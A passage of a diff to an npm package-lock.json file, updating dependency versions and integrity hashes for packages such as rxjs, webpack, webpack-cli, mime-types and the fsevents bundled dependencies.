"sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==", "dev": true }, "regexpu-core": { @@ -14174,7 +14183,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" + "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" }, "resolve-url": { "version": "0.2.1", @@ -14220,7 +14229,7 @@ "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", "dev": true, "requires": { - "glob": "7.1.2" + "glob": "7.1.3" } }, "ripemd160": { @@ -14252,26 +14261,18 @@ } }, "rxjs": { - "version": "5.5.11", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-5.5.11.tgz", - "integrity": "sha512-3bjO7UwWfA2CV7lmwYMBzj4fQ6Cq+ftHc2MvUe+WMS7wcdJ1LosDWmdjPQanYp2dBRj572p7PeU81JUxHKOcBA==", + "version": "6.3.3", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz", + "integrity": "sha512-JTWmoY9tWCs7zvIk/CvRjhjGaOd+OVBM987mxFo+OW66cGpdKjZcpmc74ES1sB//7Kl/PAe8+wEakuhG4pcgOw==", "dev": true, "requires": { - "symbol-observable": "1.0.1" - }, - "dependencies": { - "symbol-observable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.0.1.tgz", - "integrity": "sha1-g0D8RwLDEi310iKI+IKD9RPT/dQ=", - "dev": true - } + "tslib": "1.9.3" } }, "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", + "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==", "dev": true }, "safe-regex": { @@ -14289,6 +14290,14 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", "dev": true }, + "schedule": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/schedule/-/schedule-0.5.0.tgz", + "integrity": "sha512-HUcJicG5Ou8xfR//c2rPT0lPIRR09vVvN81T9fqfVgBmhERUbDEQoYKjpBxbueJnCPpSu2ujXzOnRQt6x9o/jw==", + "requires": { + "object-assign": "4.1.1" + } + }, "schema-utils": { "version": "0.4.7", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz", @@ -14306,9 +14315,9 @@ "dev": true }, "selfsigned": { - "version": "1.10.3", - "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.3.tgz", - "integrity": "sha512-vmZenZ+8Al3NLHkWnhBQ0x6BkML1eCP2xEi3JE+f3D9wW9fipD9NNJHYtE9XJM4TsPaHGZJIamrSI6MTg1dU2Q==", + "version": "1.10.4", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.4.tgz", + "integrity": "sha512-9AukTiDmHXGXWtWjembZ5NDmVvP2695EtpgbCsxCa68w3c88B+alqbmZ4O3hZ4VWGXeGWzEVdvqgAJD8DQPCDw==", "dev": true, "requires": { "node-forge": "0.7.5" @@ -14381,7 +14390,7 @@ "debug": "2.6.9", "escape-html": "1.0.3", "http-errors": "1.6.3", - "mime-types": "2.1.19", + "mime-types": "2.1.20", "parseurl": "1.3.2" }, "dependencies": { @@ -14395,18 +14404,18 @@ } }, "mime-db": { - "version": "1.35.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz", - "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==", + "version": "1.36.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.36.0.tgz", + "integrity": "sha512-L+xvyD9MkoYMXb1jAmzI/lWYAxAMCPvIBSWur0PZ5nOf5euahRLVqH//FKW9mWp2lkqUgYiXPgkzfMUFi4zVDw==", "dev": true }, "mime-types": { - "version": "2.1.19", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz", - "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", + "version": "2.1.20", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.20.tgz", + "integrity": "sha512-HrkrPaP9vGuWbLK1B1FfgAkbqNjIuy4eHlIYnFi7kamZyLLrGlo2mpcx0bBmNpKqBtYtAfGbodDddIgddSJC2A==", "dev": true, "requires": { - "mime-db": "1.35.0" + "mime-db": "1.36.0" } } } @@ -14461,7 +14470,8 @@ "setimmediate": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", - "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" + "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=", + "dev": true }, "setprototypeof": { "version": "1.1.0", @@ -14471,7 +14481,7 @@ }, "sha.js": { "version": "2.4.11", - "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz", + "resolved": "http://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz", "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", "dev": true, "requires": { @@ -14858,7 +14868,7 @@ "dev": true, "requires": { "debug": "2.6.8", - "detect-node": "2.0.3", + "detect-node": "2.0.4", "hpack.js": "2.1.6", "obuf": "1.1.2", "readable-stream": "2.3.6", @@ -14880,7 +14890,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -14995,7 +15005,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -15056,7 +15066,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -15172,19 +15182,6 @@ } } }, - "string.prototype.matchall": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-2.0.0.tgz", - "integrity": "sha512-WoZ+B2ypng1dp4iFLF2kmZlwwlE19gmjgKuhL1FJfDgCREWb3ye3SDVHSzLH6bxfnvYmkCxbzkmWcQZHA4P//Q==", - "dev": true, - "requires": { - "define-properties": "1.1.3", - "es-abstract": "1.12.0", - "function-bind": "1.1.1", - "has-symbols": "1.0.0", - "regexp.prototype.flags": "1.2.0" - } - }, "string_decoder": { "version": "0.10.31", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", @@ -15263,7 +15260,7 @@ }, "table": { "version": "4.0.3", - "resolved": "https://registry.npmjs.org/table/-/table-4.0.3.tgz", + "resolved": "http://registry.npmjs.org/table/-/table-4.0.3.tgz", "integrity": "sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==", "dev": true, "requires": { @@ -15292,7 +15289,7 @@ "requires": { "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "supports-color": "5.5.0" } }, "has-flag": { @@ -15302,9 +15299,9 @@ "dev": true }, "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { "has-flag": "3.0.0" @@ -15360,7 +15357,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -15576,11 +15573,6 @@ "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", "dev": true }, - "ua-parser-js": { - "version": "0.7.18", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.18.tgz", - "integrity": "sha512-LtzwHlVHwFGTptfNSgezHp7WUlwiqb0gA9AALRbKaERfxwJoiX0A73QbTToxteIAuIaFshhgIZfqK8s7clqgnA==" - }, "uglify-js": { "version": "2.8.29", "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.8.29.tgz", @@ -15612,7 +15604,7 @@ "serialize-javascript": "1.5.0", "source-map": "0.6.1", "uglify-es": "3.3.9", - "webpack-sources": "1.1.0", + "webpack-sources": "1.3.0", "worker-farm": "1.6.0" }, "dependencies": { @@ -15647,11 +15639,21 @@ "dev": true }, "uncontrollable": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-4.1.0.tgz", - "integrity": "sha1-4DWCkSUuGGUiLZCTmxny9J+Bwak=", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-5.1.0.tgz", + "integrity": "sha512-5FXYaFANKaafg4IVZXUNtGyzsnYEvqlr9wQ3WpZxFpEUxl29A3H6Q4G1Dnnorvq9TGOGATBApWR4YpLAh+F5hw==", "requires": { - "invariant": "2.2.2" + "invariant": "2.2.4" + }, + "dependencies": { + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "1.3.1" + } + } } }, "union-value": { @@ -15690,18 +15692,18 @@ } }, "unique-filename": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz", - "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", + "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", "dev": true, "requires": { - "unique-slug": "2.0.0" + "unique-slug": "2.0.1" } }, "unique-slug": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz", - "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.1.tgz", + "integrity": "sha512-n9cU6+gITaVu7VGj1Z8feKMmfAjEAQGhwD9fE3zvpRRa0wEIx8ODYkVGfSc94M2OX00tUFV8wH3zYbm1I8mxFg==", "dev": true, "requires": { "imurmurhash": "0.1.4" @@ -15825,9 +15827,9 @@ "dev": true }, "url-loader": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.0.tgz", - "integrity": "sha512-p/+44Z+yHoQVV6VKsgZuHi7UfvaKhJqucXvKQtsVQYyzaSC8KVdoXjIM5TToZxarq9WB+qIhMVTZr1v7bENKdg==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz", + "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", "dev": true, "requires": { "loader-utils": "1.1.0", @@ -15865,7 +15867,7 @@ "integrity": "sha512-rh+KuAW36YKo0vClhQzLLveoj8FwPJNu65xLb7Mrt+eZht0IPT0IXgSv8gcMegZ6NvjJUALf6Mf25POlMwD1Fw==", "dev": true, "requires": { - "querystringify": "2.0.0", + "querystringify": "2.1.0", "requires-port": "1.0.0" } }, @@ -15972,7 +15974,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" + "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" }, "vary": { "version": "1.1.2", @@ -16267,7 +16269,7 @@ "dev": true, "optional": true, "requires": { - "nan": "2.10.0", + "nan": "2.11.1", "node-pre-gyp": "0.10.0" }, "dependencies": { @@ -16294,21 +16296,19 @@ "dev": true, "optional": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" } }, "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -16328,8 +16328,7 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", @@ -16375,7 +16374,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.2.4" } }, "fs.realpath": { @@ -16390,14 +16389,14 @@ "dev": true, "optional": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" } }, "glob": { @@ -16406,12 +16405,12 @@ "dev": true, "optional": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "has-unicode": { @@ -16426,7 +16425,7 @@ "dev": true, "optional": true, "requires": { - "safer-buffer": "^2.1.0" + "safer-buffer": "2.1.2" } }, "ignore-walk": { @@ -16444,8 +16443,8 @@ "dev": true, "optional": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -16477,7 +16476,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -16492,8 +16490,8 @@ "bundled": true, "dev": true, "requires": { - "safe-buffer": "^5.1.1", - "yallist": "^3.0.0" + "safe-buffer": "5.1.1", + "yallist": "3.0.2" } }, "minizlib": { @@ -16502,7 +16500,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.2.4" } }, "mkdirp": { @@ -16525,9 +16523,9 @@ "dev": true, "optional": true, "requires": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" + "debug": "2.6.9", + "iconv-lite": "0.4.21", + "sax": "1.2.4" } }, "node-pre-gyp": { @@ -16536,16 +16534,16 @@ "dev": true, "optional": true, "requires": { - "detect-libc": "^1.0.2", - "mkdirp": "^0.5.1", - "needle": "^2.2.0", - "nopt": "^4.0.1", - "npm-packlist": "^1.1.6", - "npmlog": "^4.0.2", - "rc": "^1.1.7", - "rimraf": "^2.6.1", - "semver": "^5.3.0", - "tar": "^4" + "detect-libc": "1.0.3", + "mkdirp": "0.5.1", + "needle": "2.2.0", + "nopt": "4.0.1", + "npm-packlist": "1.1.10", + "npmlog": "4.1.2", + "rc": "1.2.7", + "rimraf": "2.6.2", + "semver": "5.5.0", + "tar": "4.4.1" } }, "nopt": { @@ -16580,10 +16578,10 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "number-is-nan": { @@ -16602,7 +16600,7 @@ "bundled": true, "dev": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "os-homedir": { @@ -16645,10 +16643,10 @@ "dev": true, "optional": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -16665,13 +16663,13 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "rimraf": { @@ -16680,7 +16678,7 @@ "dev": true, "optional": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.2" } }, "safe-buffer": { @@ -16723,9 +16721,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } }, "string_decoder": { @@ -16734,7 +16732,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } }, "strip-ansi": { @@ -16742,7 +16740,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-json-comments": { @@ -16757,13 +16755,13 @@ "dev": true, "optional": true, "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.2.4", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.1", - "yallist": "^3.0.2" + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.2.4", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.1", + "yallist": "3.0.2" } }, "util-deprecate": { @@ -16778,7 +16776,7 @@ "dev": true, "optional": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" } }, "wrappy": { @@ -16912,9 +16910,9 @@ } }, "nan": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz", - "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==", + "version": "2.11.1", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz", + "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==", "dev": true, "optional": true } @@ -16930,17 +16928,16 @@ } }, "webpack": { - "version": "4.16.5", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.16.5.tgz", - "integrity": "sha512-i5cHYHonzSc1zBuwB5MSzW4v9cScZFbprkHK8ZgzPDCRkQXGGpYzPmJhbus5bOrZ0tXTcQp+xyImRSvKb0b+Kw==", + "version": "4.20.2", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.20.2.tgz", + "integrity": "sha512-75WFUMblcWYcocjSLlXCb71QuGyH7egdBZu50FtBGl2Nso8CK3Ej+J7bTZz2FPFq5l6fzCisD9modB7t30ikuA==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.5.13", - "@webassemblyjs/helper-module-context": "1.5.13", - "@webassemblyjs/wasm-edit": "1.5.13", - "@webassemblyjs/wasm-opt": "1.5.13", - "@webassemblyjs/wasm-parser": "1.5.13", - "acorn": "5.7.1", + "@webassemblyjs/ast": "1.7.8", + "@webassemblyjs/helper-module-context": "1.7.8", + "@webassemblyjs/wasm-edit": "1.7.8", + "@webassemblyjs/wasm-parser": "1.7.8", + "acorn": "5.7.3", "acorn-dynamic-import": "3.0.0", "ajv": "6.5.2", "ajv-keywords": "3.2.0", @@ -16948,7 +16945,7 @@ "enhanced-resolve": "4.1.0", "eslint-scope": "4.0.0", "json-parse-better-errors": "1.0.2", - "loader-runner": "2.3.0", + "loader-runner": "2.3.1", "loader-utils": "1.1.0", "memory-fs": "0.4.1", "micromatch": "3.1.10", @@ -16956,10 +16953,10 @@ "neo-async": "2.5.2", "node-libs-browser": "2.1.0", "schema-utils": "0.4.7", - "tapable": "1.0.0", + "tapable": "1.1.0", "uglifyjs-webpack-plugin": "1.3.0", "watchpack": "1.6.0", - "webpack-sources": "1.1.0" + "webpack-sources": "1.3.0" }, "dependencies": { "arr-diff": { @@ -17256,26 +17253,31 @@ "snapdragon": "0.8.2", "to-regex": "3.0.2" } + }, + "tapable": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.0.tgz", + "integrity": "sha512-IlqtmLVaZA2qab8epUXbVWRn3aB1imbDMJtjB3nu4X0NqPkcY/JH9ZtCBWKHWPxs8Svi9tyo8w2dBoi07qZbBA==", + "dev": true } } }, "webpack-cli": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.1.0.tgz", - "integrity": "sha512-p5NeKDtYwjZozUWq6kGNs9w+Gtw/CPvyuXjXn2HMdz8Tie+krjEg8oAtonvIyITZdvpF7XG9xDHwscLr2c+ugQ==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.1.2.tgz", + "integrity": "sha512-Cnqo7CeqeSvC6PTdts+dywNi5CRlIPbLx1AoUPK2T6vC1YAugMG3IOoO9DmEscd+Dghw7uRlnzV1KwOe5IrtgQ==", "dev": true, "requires": { "chalk": "2.4.1", "cross-spawn": "6.0.5", "enhanced-resolve": "4.1.0", "global-modules-path": "2.3.0", - "import-local": "1.0.0", - "inquirer": "6.1.0", + "import-local": "2.0.0", "interpret": "1.1.0", "loader-utils": "1.1.0", - "supports-color": "5.4.0", + "supports-color": "5.5.0", "v8-compile-cache": "2.0.2", - "yargs": "12.0.1" + "yargs": "12.0.2" }, "dependencies": { "ansi-regex": { @@ -17307,15 +17309,9 @@ "requires": { "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "supports-color": "5.5.0" } }, - "chardet": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.5.0.tgz", - "integrity": "sha512-9ZTaoBaePSCFvNlNGrsyI8ZVACP2svUtq0DkM7t4K2ClAa96sqOIRjAzDTc8zXzFt1cZR46rRzLTiHFSJ+Qw0g==", - "dev": true - }, "cliui": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", @@ -17333,9 +17329,9 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "1.0.4", + "nice-try": "1.0.5", "path-key": "2.0.1", - "semver": "5.5.0", + "semver": "5.5.1", "shebang-command": "1.2.0", "which": "1.3.0" } @@ -17349,15 +17345,19 @@ "xregexp": "4.0.0" } }, - "external-editor": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.0.1.tgz", - "integrity": "sha512-e1neqvSt5pSwQcFnYc6yfGuJD2Q4336cdbHs5VeUO0zTkqPbrHMyw2q1r47fpfLWbvIG8H8A6YO3sck7upTV6Q==", + "execa": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz", + "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", "dev": true, "requires": { - "chardet": "0.5.0", - "iconv-lite": "0.4.23", - "tmp": "0.0.33" + "cross-spawn": "6.0.5", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" } }, "find-up": { @@ -17375,34 +17375,19 @@ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, - "iconv-lite": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", - "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", - "dev": true, - "requires": { - "safer-buffer": "2.1.2" - } + "invert-kv": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz", + "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==", + "dev": true }, - "inquirer": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.1.0.tgz", - "integrity": "sha512-f9K2MMx/G/AVmJSaZg2a+GVLRRmTdlGLbwxsibNd6yNTxXujqxPypjCnxnC0y4+Wb/rNY5KyKuq06AO5jrE+7w==", + "lcid": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz", + "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", "dev": true, "requires": { - "ansi-escapes": "3.1.0", - "chalk": "2.4.1", - "cli-cursor": "2.1.0", - "cli-width": "2.2.0", - "external-editor": "3.0.1", - "figures": "2.0.0", - "lodash": "4.17.10", - "mute-stream": "0.0.7", - "run-async": "2.3.0", - "rxjs": "6.2.2", - "string-width": "2.1.1", - "strip-ansi": "4.0.0", - "through": "2.3.8" + "invert-kv": "2.0.0" } }, "loader-utils": { @@ -17426,6 +17411,28 @@ "path-exists": "3.0.0" } }, + "mem": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mem/-/mem-4.0.0.tgz", + "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==", + "dev": true, + "requires": { + "map-age-cleaner": "0.1.2", + "mimic-fn": "1.2.0", + "p-is-promise": "1.1.0" + } + }, + "os-locale": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.0.1.tgz", + "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==", + "dev": true, + "requires": { + "execa": "0.10.0", + "lcid": "2.0.0", + "mem": "4.0.0" + } + }, "p-limit": { "version": "2.0.0", 